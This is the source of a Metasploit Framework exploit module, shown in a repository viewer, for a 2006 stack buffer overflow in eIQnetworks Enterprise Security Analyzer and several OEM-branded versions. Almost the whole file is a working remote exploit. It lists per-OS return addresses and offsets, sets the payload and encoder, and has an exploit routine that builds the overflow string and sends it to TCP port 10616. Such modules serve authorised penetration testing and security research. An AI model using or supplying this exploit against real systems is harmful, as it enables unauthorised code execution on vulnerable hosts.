root / modules / exploits / windows / misc / eiqnetworks_esa.rb @ master
History | View | Annotate | Download (4.7 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = AverageRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::Tcp |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'eIQNetworks ESA License Manager LICMGR_ADDLICENSE Overflow', |
| 22 |
'Description' => %q{ |
| 23 |
This module exploits a stack buffer overflow in eIQnetworks |
| 24 |
Enterprise Security Analyzer. During the processing of |
| 25 |
long arguments to the LICMGR_ADDLICENSE command, a stack-based |
| 26 |
buffer overflow occurs. This module has only been tested |
| 27 |
against ESA v2.1.13. |
| 28 |
},
|
| 29 |
'Author' => [ 'MC', 'ri0t <ri0t[at]ri0tnet.net>', 'kf' ], |
| 30 |
'Version' => '$Revision$', |
| 31 |
'References' =>
|
| 32 |
[ |
| 33 |
['CVE', '2006-3838'], |
| 34 |
['OSVDB', '27526'], |
| 35 |
['BID', '19163'], |
| 36 |
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-06-024.html'], |
| 37 |
], |
| 38 |
'DefaultOptions' =>
|
| 39 |
{
|
| 40 |
'EXITFUNC' => 'seh', |
| 41 |
}, |
| 42 |
'Payload' =>
|
| 43 |
{
|
| 44 |
'Space' => 400, |
| 45 |
'BadChars' => "\x00", |
| 46 |
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", |
| 47 |
}, |
| 48 |
'Platform' => 'win', |
| 49 |
'Targets' =>
|
| 50 |
[ |
| 51 |
['EnterpriseSecurityAnalyzerv21 Universal', { 'Ret' => 0x00448187, 'Offset' => 494 } ], |
| 52 |
|
| 53 |
['EiQ Enterprise Security Analyzer Offset 494 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 494 } ], # call ebx |
| 54 |
['EiQ Enterprise Security Analyzer Offset 494 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 494 } ], # jmp ebx |
| 55 |
['EiQ Enterprise Security Analyzer Offset 494 Windows Server 2003 SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 494 } ], # jmp EBX |
| 56 |
['Astaro Report Manager (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ], |
| 57 |
['Astaro Report Manager (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ], |
| 58 |
['Astaro Report Manager (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ], |
| 59 |
['Fortinet FortiReporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ], |
| 60 |
['Fortinet FortiReporter (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ], |
| 61 |
['Fortinet FortiReporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1',{ 'Ret' => 0x77d16764, 'Offset' => 1262 } ], |
| 62 |
['iPolicy Security Reporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ], |
| 63 |
['iPolicy Security Reporter (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ], |
| 64 |
['iPolicy Security Reporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ], |
| 65 |
['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ], |
| 66 |
['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ], |
| 67 |
['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ], |
| 68 |
['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ], |
| 69 |
['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ], |
| 70 |
['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ], |
| 71 |
['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ], |
| 72 |
['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ], |
| 73 |
['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ], |
| 74 |
], |
| 75 |
'Privileged' => false, |
| 76 |
'DisclosureDate' => 'Jul 24 2006' |
| 77 |
)) |
| 78 |
|
| 79 |
register_options( |
| 80 |
[ |
| 81 |
Opt::RPORT(10616) |
| 82 |
], self.class)
|
| 83 |
end
|
| 84 |
|
| 85 |
def exploit |
| 86 |
connect |
| 87 |
|
| 88 |
print_status("Trying target #{target.name}...")
|
| 89 |
|
| 90 |
filler = rand_text_english(1) * (target['Offset'] - payload.encoded.length) |
| 91 |
sploit = "LICMGR_ADDLICENSE&" + filler + payload.encoded + [target.ret].pack('V') + "&"; |
| 92 |
|
| 93 |
sock.put(sploit) |
| 94 |
|
| 95 |
handler |
| 96 |
disconnect |
| 97 |
end
|
| 98 |
|
| 99 |
end
|